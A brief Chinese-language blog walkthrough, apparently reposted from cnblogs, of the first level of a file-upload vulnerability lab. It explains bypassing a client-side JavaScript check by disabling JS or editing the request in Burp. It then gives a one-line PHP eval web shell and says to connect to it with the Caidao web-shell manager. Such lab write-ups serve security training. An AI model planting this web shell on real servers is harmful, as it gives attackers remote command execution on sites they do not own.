文件上传第一式（禁JS）
（1）来到第一关，我们查看源代码：
上图可以发现，上传的限制代码块写在js函数内，因此我们可以考虑将js的开关禁掉，直接上传木马的方式，其实，似乎也可以不禁js，直接burp抓包后修改图片类型，一样可以上传成功。
（2）上传一句话木马.php
<?php eval($_POST['cmd']);?>
（3）使用菜刀对木马进行连接
如下为菜刀连接效果图：
文件上传——不为人知的木马上传大法
猜你喜欢
转载自www.cnblogs.com/cute-puli/p/10921922.html
今日推荐
周排行